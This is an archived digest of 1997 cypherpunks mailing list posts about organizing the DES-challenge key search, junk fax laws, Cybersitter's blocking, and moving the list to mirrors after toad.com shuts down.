From: owner-cypherpunks
Date: Sat, 15 Feb 1997 11:12:59 -0800 (PST)
Subject: No Subject
Message-ID: <199702151912.LAA01385@toad.com>
MIME-Version: 1.0
Content-Type: text/plain






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Scott Auge <scotta@sauge.com>
Date: Sat, 15 Feb 1997 09:26:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cryptanalysis
Message-ID: <199702151726.JAA27016@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Was wondering if anyone could help me with short explainations on the
cryptanalysis of SKIPJACK and DES.  If ya hit www.sauge.com/crypt you
might get a better idea of what i'm trying to accomplish.

Vague explanations are OK.  Dont want long drawn out explainations on
the implementation of an attack (source code, proofs, statistical
analysis and the like), just a short explaination of the attack.

Thanks all, 

Scott
-- 
How has the government interfered in your life today?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sat, 15 Feb 1997 09:28:08 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: More on digital postage
Message-ID: <199702151728.JAA27122@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mr. Bell wrote:
> At 03:31 AM 2/14/97 -0800, John C. Randolph wrote:
> >Tim may says:
> >>By the way, I think the "junk fax" and "junk phone call" laws are clearcut
> >>violations of the First Amendment. I understand why the herd _wants_ these
> >>laws, as it reduces the costs involved in replacing fax paper, running to
> >>the telephone only to find someone trying to sell something, etc., but it
> >>is quite clearly a prior restraint on speech, however well-intentioned.
> >I have to disagree here.  The junk fax law is a restraint on unauthorised
> >use of property, i.e. *my* fax machine, *my* phone, etc. 
> However, you connect that fax machine to a phone line, when you know full 
> well that should it be enabled to do so, it will automatically pick up the 
> phone when it "hears" a ring, and will print out a fax based on information 
> provided.  It isn't clear why sending a fax is any "wronger" than mailing 
> junk mail, or making a (voice) phone call to somebody.

	That is a ridiculous argument. The door to my home is connected
to the street,m and I know full well that that makes it easy for anyone 
to come wandering in to my home. Is it legal, just because I have my 
home hooked to the street, for someone to come in and help themselves to 
a beer out of my fridge?

	Nope. Sure I realize that they _can_, but that doesn't make it right,
and it doesn't make it legal. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sat, 15 Feb 1997 09:41:10 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702151741.JAA27738@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> Well, they will stop sending you money if they find out that you do not buy
> their products.
> 
> 	- Igor.

	As long as they stop sending the Ads. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sat, 15 Feb 1997 11:11:16 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702151911.LAA01292@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
> Igor Chudov @ home wrote:
> > Dave Hayes wrote:
> > > Ok. I'll "put up".
> > > If the cypherpunks will have me, -I'll- run the cypherpunks
> > > list. Those that know me know that I will *not* censor, moderate, or
> > > otherwise alter the content (other than the stuff majordomo does with
> > > "resend") of any messages to the list.
> 
> > I think that it is a great idea. If you want to contribute to the
> > effort to keep the list, this is great. You could join the network of
> > other cypherpunks mailing lists.
> > There is a small list for discussing these networking issues,
> > cypherpunks-hosts@algebra.com. It is not for crypto-discussions per
> > se, but rather for discussing how we proceed with these lists.
> 
> If I understood the last several hundred messages correctly, they have
> tried to make the point that the cypherpunks mailing list (unedited)
> was more ideal than a newsgroup.  If this is what Dave is offering,
> I'm surprised if more people don't jump on it.  Then again, they
> took their good ol' time jumping onto cypherpunks-unedited.

I think that the ideas of a distributed list and the idea of 
alt.cypherpunks are both good and these two mediums complement 
each other.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Sat, 15 Feb 1997 13:56:16 -0800 (PST)
To: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Subject: Re: RRE: Cybersitter
Message-ID: <199702152156.NAA07499@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 07:15 PM 2/14/97 EDT, E. Allen Smith wrote:
>From:	IN%"rre@weber.ucsd.edu" 14-FEB-1997 05:21:41.54
>To:	IN%"rre@weber.ucsd.edu"
>CC:	
>Subj:	Cybersitter
>
>[Forwarded with permission.]
>
[snip]
>Wallace says Solid Oak responded by adding his Webzine to its block
>list. Learning of this, Wallace wrote Milburn and Solid Oak tech
>support.
>
>"I pointed out that _The Spectacle_ does not fit any of their published
>criteria for blocking a site," he says. "I received mail in return
>demanding that I cease writing to them and calling my mail 'harassment'
>-- with a copy to the postmaster at my ISP."
>
>Kanter acknowledges this. "He spoke to us more than once or twice -- he
>continued to send mail -- mail like that is considered 'not wanted' and
>is automatically sent back."

Kanter has sent mail like this on a first message.  I friend of mine who
writes for a local computer magazine (Computer Bits) wrote to Solid Oak with
a critical letter and got the same treatment.  Nothing addressing any of the
criticisms about the software or the company, just a nasty-gram to him and
his postmaster.


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBMwYhcOQCP3v30CeZAQE0zwf/QH6PaErjf7osoEvTd2rbRMFkO//tacAi
iBGvBvVFfmmOjOulX+pc78BziT2wAlENRY2qDoMzf8GWAx6OBesgG+2QhpTqIuXb
AxFzoVLuQBqWMRGxc+xeS8z1r7jBGcs9RSpw4al1dMecVze5WCMIsOX1MMA1CsaC
ZQ3ph8kYGEhz69BagmEY94nL1ERbpCnPmeY4YaNAi+7obTJe88ypwyqE86eRbBBh
hMc1H+4OKzs9ZU7Wi5bTcYLgjwEC+YAnK19NE9ZRNKSqq2CCFi3nv6o6IX9iUtLZ
Ptie4DMvz2MSymBYWDPap0rwTLxPK+SOw31I5rUzPdpyA0gjaj/7/Q==
=kkJ3
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Frank J. Egan" <fjegan@airmail.net>
Date: Sat, 15 Feb 1997 13:41:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: FYI
Message-ID: <199702152141.NAA06903@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


This was posted to a financial information site on Friday:

OPEN MARKET INC (OMKT)  Yesterday, stock was given a modest lift from news
that company received approval from the Department of Commerce to export its
Internet-commerce software with a very strong version of encryption
software, becoming one of the first companies allowed to do so without first
agreeing to go along with a controversial White House requirement.

Frank
*********************************
**********Frank J. Egan**********
*Chance Favors The Prepared Mind*
*********************************






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Perry E. Metzger" <perry@piermont.com>
Date: Sat, 15 Feb 1997 11:12:35 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Cypherpunks Forums FAQ (life after toad.com)
Message-ID: <199702151912.LAA01373@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



BTW, for those of you who haven't tried it, cryptography@c2.net, which
I run and moderate, has been pretty successful thus far in providing a
low noise high quality area for discussing cryptography and
cryptography related political issues. I invite people to join. To get
on, simply send a message to majordomo@c2.net with the words 
subscribe cryptography
in the body.

Perry

Adam Back writes:
> 
> There has been some discussion as to which list one should subscribe to
> once cypherpunks@toad.com is dead (which I would remind you is 4 days from
> now -- 19th Feb).
> 
> For those not paying attention, I have collated information about
> cypherpunks forums for your information:





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 15 Feb 1997 17:11:56 -0800 (PST)
To: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Subject: Re: Fuck UseNet (fwd)
Message-ID: <199702160111.RAA14527@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


E. Allen Smith allegedly said:
> 
> From:	IN%"ravage@EINSTEIN.ssz.com"  "Jim Choate" 15-FEB-1997 07:11:54.43
> 
> >Perhaps in addition to the X-foo structures we have discussed already we
> >might consider adding,
> 
> >X-distrib-policy: foo
> 
> >Where foo might be,
> 
> >         Public Domain
> >         All rights reserved, contact author for redistribution
> >         Distribution for non-commercial uses permitted
> >         Refer to authors header
> >         Copyleft
> >         etc.
> 
> >or whatever the policy might be for a given remailer. This would
> >significantly aid folks in their shopping around.
> 
> 	The basic difficulty with this idea is that _senders_ generally
> don't have much of a choice where the messages go, once you've decided
> to accept them. In other words, just because you've decided to accept
> a message doesn't mean it suddenly becomes
> copyleft/public domain/whatever. Now, if you, say, announced that only
> subscribers to your particular list, subscribers to any other lists
> adopting the same idea, and those who'd sign a consent agreement could
> post through your list, that wouldn't be a problem... although I
> suspect you wouldn't get many subscribers.
> 	-Allen

That wouldn't be the way it work -- Jim operates one of the cp 
remailers; I operate another.  Jim has a standard policy concerning 
public domain/copyright that is different than mine.  So *I* put an 
X-distrib-policy header in all the cp mail I forward to him.  More 
precisely, all of my incoming mail for "cypherpunks@songbird.com" 
gets the header.

This protocol needs a bit of refinement, and perhaps some hacking at 
majordomo, but seems fairly straightforward.

Jim's policy is actually very reasonable.  It has a rational basis, 
though one might disagree with it, and it is easy to deal with 
it this way.  A more extreme policy -- "The operator of this mailing 
list claims an exclusive copyright on every piece of mail sent to it; 
by sending to it you agree to this policy", for example -- would be 
harder to deal with.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 15 Feb 1997 17:11:20 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702160111.RAA14459@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn allegedly said:
> 
[...]
> 
> If I understood the last several hundred messages correctly, they have
> tried to make the point that the cypherpunks mailing list (unedited)
> was more ideal than a newsgroup.  If this is what Dave is offering,
> I'm surprised if more people don't jump on it.  Then again, they
> took their good ol' time jumping onto cypherpunks-unedited.

Dave is offering a single mailing list, which, while I am sure Dave is
a great person, still represents a single point of control and a
single point of failure.  A distributed mailing list has a potential
for being much more robust, and for supporting a wide range of
viewpoints.  Furthermore a distributed mailing list is an interesting
minor technical problem, and a good solution could have wide
applicability.

So I think that people would like to get the distributed list going...

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sat, 15 Feb 1997 17:16:39 -0800 (PST)
To: roy@scytale.com
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702160116.RAA14699@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Roy M. Silvernail wrote:
> > Clearly, spammers who pay their readers to read their messages (and who
> > do get them to read) will have a very high response rate. That may 
> > justify adding postage to their letters.
> 
> It should also spur development of intelligent agents which can retrieve
> this cash without human intervention.  Spammers will doubtless alter
> their pages to require more interaction to find the key to the cash.
> Then the IA's will be improved.  Then... remember the copy protection
> wars?  This isn't necessarily a negative point.
> 
> > The advantages are obvious. The disadvantage is a possibility of someone
> > stealing the money on the way, if the letters are not encrypted.
> 
> Or that the money wasn't there in the first place (absent a trusted
> signature system), or the key doesn't exist, or the wrong key is
> offered, or the sender put the same e-dollar on all 60000 mails sie
> sent and it's already been redeemed.

Well, if the trusted party performs the encryption by both recipient's
public key and the "retrieval key", the problem that you mention can 
be avoided.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sat, 15 Feb 1997 17:11:59 -0800 (PST)
To: Adam Back <cypherpunks@toad.com
Subject: Re: (fwd) DES challenge organisation
Message-ID: <199702160111.RAA14529@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:02 PM +0000 2/15/97, Adam Back wrote:
>Thomas S <ths@fh28.fa.umist.ac.uk> writes:
>> [...]
>>
>> 5. The prize money will be split equally between Gutenberg and EFF.
>>    There is a possibility of using part of it for stickers or
>>    something similar, but don't count on it.
>
>Not a good idea.
>
>How can this be enforced?  The RSADSI DES challenge is open to all
>comers, and how do you prove that someone who finds the key found it
>through this group effort?
>
>I have a suspicion many people would be tempted to fill in the RSA
>challenge form and email it in themselves.  $10,000 is a fair amount
>of money.

Once again, the advantages of an "uncoordinated search" should be
mentioned. An uncoordinated search, in which people randomly search chunks
of keyspace is obviously less efficient than a coordinated search where no
part of the space is searched two or more times.

However, an uncoordinated search is only less efficient by a small factor
of two or three, with a 95% probability that the key will be found with an
effort "only" 3 times greater than with a coordinated search. (The Poisson
probability distribution is what's involved here, and the math is fairly
easy to work out.)

A 2-4x factor is significant, and may warrant a coordinated search.
However, the various problems implicit in coordinated searches are factors,
too.

Also, an uncoordinated search solves the "prize" problem, as whomever finds
the key makes  the contact with RSADSI.

One of the problems with a coordinated search, if the remaining keyspace to
be doled out is publically announced, is that as the keyspace is searched
and a key _not_ found, the remaining keyspace is increasingly more tempting
for "independent searchers" to search. Sort of the way the odds on some
lotteries actually become "acceptable" as the lottery pot grows. The
organizer of the coordinated search must then, I surmise, keep the
assignments secret and dole out keyspace securely.

Having the prize money go to the finder of the key, as opposed to some
artificial division between EFF, Gutenberg, etc., is also an incentive for
people to contribute more CPU time.

--Tim May





>I know I would be tempted.  I have been running Svend Olaf's DES code,
>and my intention in the unlikely event that I hit the key had been to
>claim the money.
>
>How does it hurt the publicity if the actual individual who finds the
>key takes the money?  Surely it adds excitement to the story?
>
>In fact it would provide people with a possibly more powerful
>incentive to try to break the key in the first place -- in the hopes
>of winning the prize!  $10,000 means more to a lot of people than
>opposing ITAR/EAR, and participating in a technical challenge.  To
>start with a lot of people who's CPUs we could be using don't even
>know what ITAR/EAR are!
>
>> We hope to get a working system up and running ASAP. The fact alone
>> that DES is seriously challenged (with a reasonable time frame)
>> should give us quite some publicity (by the time the system is
>> ready). If we can make use of that, we will have significantly more
>> client than for the 48 bit key.
>
>I would have thought announcing that $10,000 can be won by running
>easy to use windows software on a wide selection of newsgroups would
>get you lots of CPUs!
>
>Adam
>--
>print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
>)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 15 Feb 1997 17:11:48 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: More on digital postage
Message-ID: <199702160111.RAA14498@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


jim bell allegedly said:
> 
> 
> No, you're taking the issue to ridiculous extremes.    That's why we have 
> doors, and locks, etc.  And, for that matter, "No trespassing" signs.  
> 
> But having an address, and a walkway, and a doorbell is generally considered 
> if not explicit permission, but at least toleration of the idea that 
> somebody can walk up and knock on the door, etc. 

But if someone leans on my doorbell for 4 hours solid, I can call the 
police and have them carted away.  Carried to extremes, it's criminal 
trespass. 

> Having a telephone with a 
> number that anyone can dial is going to result in some level of intrusion.  
> Having a fax machine is a similar issue, unless technology provides a way to 
> block unwanted faxes.
> 
> I certainly don't claim that we shouldn't try to do anything about these 
> limitations!  Quite the opposite, technology should be employed to protect 
> privacy.  But faxes are not fundamentally different than telephones, 
> doorbells, and walkways:  They facilitate interaction, even potentially 
> undesirable interaction.

And, just as in the case with my doorbell, when the undesirable 
interaction gets past some reasonable limit, legal action can be taken.

> >	Nope. Sure I realize that they _can_, but that doesn't make it right,
> >and it doesn't make it legal. 
> 
> "Legal" is an arbirary concept; the opposite, "illegal," is merely what some 
> bunch of brainless legislators get together and disapprove.

Arbitrary or not, it has real world consequences.  But then most 
things with real world consequences are arbitrary, unlike libertarian 
fantasies, which enjoy the luxury of unreality.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 22:41:18 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: More on digital postage
Message-ID: <199702160641.WAA26923@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:
> At 11:40 AM 2/15/97 -0600, snow wrote:
> >Mr. Bell wrote:

> But having an address, and a walkway, and a doorbell is generally considered
> if not explicit permission, but at least toleration of the idea that
> somebody can walk up and knock on the door, etc.  Having a telephone with a
> number that anyone can dial is going to result in some level of intrusion.
> Having a fax machine is a similar issue, unless technology provides a way to
> block unwanted faxes.

There are some neato methods to deal with the door and the phone,
but I haven't investigated faxes since I don't run one at home.

For the door, you can have a locked gate so they can't knock on the
door,
and an adjustable volume ringer or phone at the gate that's easy to
ignore
when you don't want them to know you're there and you're ignoring them.
If the gate is not practical, at least put a locked screen door in
front of the regular door, and the ringer or whatever outside the
screen.
For more aggressive pests, some signs might be necessary.

For the phone, you can do like I did, and simply remove (or break)
the outgoing message tape, so when they call, all they get is a beep
and they'll have to think fast or they're cut off.  Cuts way back
on pesky calls, but allows your loyals to leave messages or speak
so you'll know who it is.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 22:42:51 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: FBI_100
Message-ID: <199702160642.WAA26983@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


John Young wrote:
> "Phone Companies Balk At Latest Plan by FBI." Markoff.
>    Telcos are arguing that the new system will be far more
>    intrusive and expensive than industry first thought, and
>    would expand LEA wiretap capabilities 100-fold. "This is
>    kind of scary. What does the FBI know about our future
>    that we don't?"
> See the FBI's latest wiretap plan at:
>    http://jya.com/fbi011497.txt

You could start by interviewing Freeh's own kids, who conspired
(according to the L.A. Times) to have the local police make a
call the other night.  According to Freeh, "I dealt with my kids
in a most un-Constitutional and autocratic manner" (quote approx.).






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 22:43:56 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702160643.WAA27051@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin wrote:
> Dale Thorn allegedly said:
> > If I understood the last several hundred messages correctly, they have
> > tried to make the point that the cypherpunks mailing list (unedited)
> > was more ideal than a newsgroup.  If this is what Dave is offering,
> > I'm surprised if more people don't jump on it.  Then again, they
> > took their good ol' time jumping onto cypherpunks-unedited.

> Dave is offering a single mailing list, which, while I am sure Dave is
> a great person, still represents a single point of control and a
> single point of failure.  A distributed mailing list has a potential
> for being much more robust, and for supporting a wide range of
> viewpoints.  Furthermore a distributed mailing list is an interesting
> minor technical problem, and a good solution could have wide
> applicability.
> So I think that people would like to get the distributed list going...

I hope this doesn't duplicate the earlier message - if someone were
tracking all this activity and kept the lists informed about what
was available where - and particularly if the downloading could be
automatic as in the subscription lists - that would be ideal.

I wanted to spend some time on alt.cypherpunks, but I haven't got
thru the subscription mail for the last few days yet.  If there's
a scheme that works better than just ad-hoc looking, I'd sure like
to know.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <mpd@netcom.com>
Date: Sat, 15 Feb 1997 22:41:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: (fwd) DES challenge organisation
Message-ID: <199702160641.WAA26922@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back <aba@dcs.ex.ac.uk> writes:

 > How can this be enforced?  The RSADSI DES challenge is open
 > to all comers, and how do you prove that someone who finds
 > the key found it through this group effort?

 > I have a suspicion many people would be tempted to fill in
 > the RSA challenge form and email it in themselves.  $10,000
 > is a fair amount of money.

Of course they will.  If the unsearched portions of the keyspace
are published, you can just sit back until the odds go up and
then throw some CPU power at it.  There is no obligation on the
part of the individual who finds the key to not claim the prize
personally.

The issues of random keyspace assignment to protect against
sabotage and centralized monolithic server vs autonomous client
have been debated on the "muffin" list, where I have been
lurking, but the people in charge seem to like explicit keyspace
partitioning and servers a lot.

Should be an interesting effort.

By the way, does anyone know if des-challenge@muffin.org is
alive?  I haven't seen any messages from it in over a day and
majordomo is not responding to inquiries.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <mpd@netcom.com>
Date: Sat, 15 Feb 1997 22:56:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: (fwd) DES challenge organisation
Message-ID: <199702160656.WAA27608@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back <aba@dcs.ex.ac.uk> writes:

 > How can this be enforced?  The RSADSI DES challenge is open
 > to all comers, and how do you prove that someone who finds
 > the key found it through this group effort?

 > I have a suspicion many people would be tempted to fill in
 > the RSA challenge form and email it in themselves.  $10,000
 > is a fair amount of money.

Of course they will.  If the unsearched portions of the keyspace
are published, you can just sit back until the odds go up and
then throw some CPU power at it.  There is no obligation on the
part of the individual who finds the key to not claim the prize
personally.

The issues of random keyspace assignment to protect against
sabotage and centralized monolithic server vs autonomous client
have been debated on the "muffin" list, where I have been
lurking, but the people in charge seem to like explicit keyspace
partitioning and servers a lot.

Should be an interesting effort.

By the way, does anyone know if des-challenge@muffin.org is
alive?  I haven't seen any messages from it in over a day and
majordomo is not responding to inquiries.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 15 Feb 1997 22:44:12 -0800 (PST)
To: snow <tcmay@got.net>
Subject: Re: More on digital postage
Message-ID: <199702160644.WAA27059@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:33 PM 2/15/97 -0600, snow wrote:
>Mr. May wrote: 
>> At 11:40 AM -0600 2/15/97, snow wrote:
>> >	That is a ridiculous argument. The door to my home is connected
>> >to the street,m and I know full well that that makes it easy for anyone
>> >to come wandering in to my home. Is it legal, just because I have my
>> >home hooked to the street, for someone to come in and help themselves to
>> >a beer out of my fridge?
>> 
>> The proper parallel is to _knocking on the door_. Talking about "unwanted
>> phone calls" or "unwanted faxes" as being equivalent to entering a house
>> and wandering around is incorrect.
>
>	With phone calls, yes. With unwanted faxes no. With Phone Calls, 
>and knocks on the door I have the option of simply not answering. Faxes
>(in certain enviroments) you can't do that with. 


That's a technlogical problem, and deserves a technological solution.

>
>> Our society fairly reasonably allows tort relief for, say, having one's
>> doorbell rung frequently or at odd hours. On the fax issue, similar tort
>> relief could be obtained if a person or business was truly "under attack."
>> (Purists, like me, would probably prefer technological solutions even in
>> these cases. Leave a phone on answering machine mode, only switch on the
>> fax mode when a fax is expected, etc.)
>
>	Or simply a societal acceptance of retaliation(sp?) Someone who
>constantly wakes you up in the middle of the night, well you just arrange
>it so they get no sleep. 

Well, I've proposed such a system before...


>> These tort actions are a far cry from proposals that anyone whose knock on
>> the door, or phonecall, or e-mail, or fax is subject to criminal
>> prosecution under proposed new laws.
>> (I think the courts are already clogged enough, and I have faith that no
>> court in the land will accept a case where no real harm was done. A friend
>> of mine got mailbombed with 25,000 e-mail messages in one day, shutting
>> down his account until the mess could be cleaned up, and it's not even
>> likely he'll ever get any relief.)
>
>	I (I think like you) feel that almost no one will get convicted
>of these "crimes" unless the attacker simply goes too far. 

Which is why my first choice is, uh, and alternative method of "justice."


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anil Das <das@razor.engr.sgi.com>
Date: Sat, 15 Feb 1997 22:41:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: DES challenge organisation
Message-ID: <199702160641.WAA26940@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Feb 15,  5:01pm, Timothy C. May wrote:
> Subject: Re: (fwd) DES challenge organisation
> However, an uncoordinated search is only less efficient by a small factor
> of two or three, with a 95% probability that the key will be found with an
> effort "only" 3 times greater than with a coordinated search. (The Poisson
> probability distribution is what's involved here, and the math is fairly
> easy to work out.)
> 
	The motivation to crack the DES challenge is more the
political one of proving DES (aka 56 bit encryption in the popular press)
insecure than the financial one of getting the $10,000 prize. To actually
get a good mesaure of the strength of DES using this approach, the number
of machines that participated in the attack and the time they spend
has to be known. This is a main reason why Germano's team prefers
the search to be co-ordinated and why they have been asking people not
to start the search before the server is ready.

> One of the problems with a coordinated search, if the remaining keyspace to
> be doled out is publically announced, is that as the keyspace is searched
> and a key _not_ found, the remaining keyspace is increasingly more tempting
> for "independent searchers" to search. Sort of the way the odds on some
> lotteries actually become "acceptable" as the lottery pot grows. The
> organizer of the coordinated search must then, I surmise, keep the
> assignments secret and dole out keyspace securely.
 
	Knowing the number of people they were able to get to participate
in the RC5 attack, this is not a significant problem. They are going to
have 5000 clients nibbling away on the not-yet-searched keyspace. Some 
Johnny-come-lately trying to muscle in on the action towards the end
is not going to make a significant dent in their chances of hitting the
correcy key first.

> Having the prize money go to the finder of the key, as opposed to some
> artificial division between EFF, Gutenberg, etc., is also an incentive for
> people to contribute more CPU time.

	Again, they didn't have a problem getting people to join in on
the RC5/32/12/6 attack. At least the same number of people can be expected
to join in for the DES attack, giving an estimated search time of around
eight months, if nobody else builds a hardware DES cracker first.

--
Anil Das





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lance Cottrell <loki@infonex.com>
Date: Sat, 15 Feb 1997 22:56:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Mirrors and replies-to
Message-ID: <199702160656.WAA27604@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 7:24 AM -0800 2/15/97, Robert Hettinga wrote:
<SNIP>
>However, I would like it if the mirror operators would reinstantiate a
>feature of the original list for me. The reply-to field on the mirrors is
>currently set to cypherpunks@toad.com. On the original list, this was set
>to "sender", both to keep people from replying to the list unnecessarily
>(hah! :-)) but also to keep mail loops from forming. Mail loops could be a
>big problem, especially when you guys put together your neo-netnews
>mailring. (a little jyaism, that... :-)).

After some discussion, the reply-to: cypherpunks@toad.com was a deliberate
choice. I wanted to ensure that the list at cyberpass did not become an
island. Once the main list expires, the reply-to will be changed to the
sender.

	-Lance

----------------------------------------------------------
Lance Cottrell   loki@obscura.com
PGP 2.6 key available by finger or server.
http://www.obscura.com/~loki/

"Love is a snowmobile racing across the tundra.  Suddenly
it flips over, pinning you underneath.  At night the ice
weasels come."
                        --Nietzsche
----------------------------------------------------------







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sheldon Glass <sheldon@sdsu.edu>
Date: Sat, 15 Feb 1997 22:56:02 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: cypherpunks@toad.com
Message-ID: <199702160656.WAA27533@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I'm a very long term lurker writing to thank you for hosting the mailing
list.  It was surprising that the list, if not the community, was as
vulnerable to twits like Vulis as it appears.  It's a valuable lesson.
When cypherpunks rise from these ashes I hope that designers of
alternatives will remember the Alamo so to speak.

--
sheldon glass             |                        Plauger's Dogma
sglass@mail.sdsu.edu      |                No program may leave its sanity
#include <std.disclaimer> |                   at the mercy of its input.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sat, 15 Feb 1997 22:40:56 -0800 (PST)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Mirrors and replies-to
Message-ID: <199702160640.WAA26884@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> However, I would like it if the mirror operators would reinstantiate a
> feature of the original list for me. The reply-to field on the mirrors is
> currently set to cypherpunks@toad.com. On the original list, this was set
> to "sender", both to keep people from replying to the list unnecessarily
> (hah! :-)) but also to keep mail loops from forming. Mail loops could be a
> big problem, especially when you guys put together your neo-netnews
> mailring. (a little jyaism, that... :-)).

	As to the Mailloops: Majordomo seems (at least to me) to be 
pretty good about handling those kinds of things. If you configure it 
right. 

	I would rather have the replyto:cypherpunks as I am rather lazy, and
would like to be able to save everything in one file easily. 

	Just my $0.01.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anil Das <das@razor.engr.sgi.com>
Date: Sat, 15 Feb 1997 22:56:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Where is the reorg FAQ?
Message-ID: <199702160656.WAA27532@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


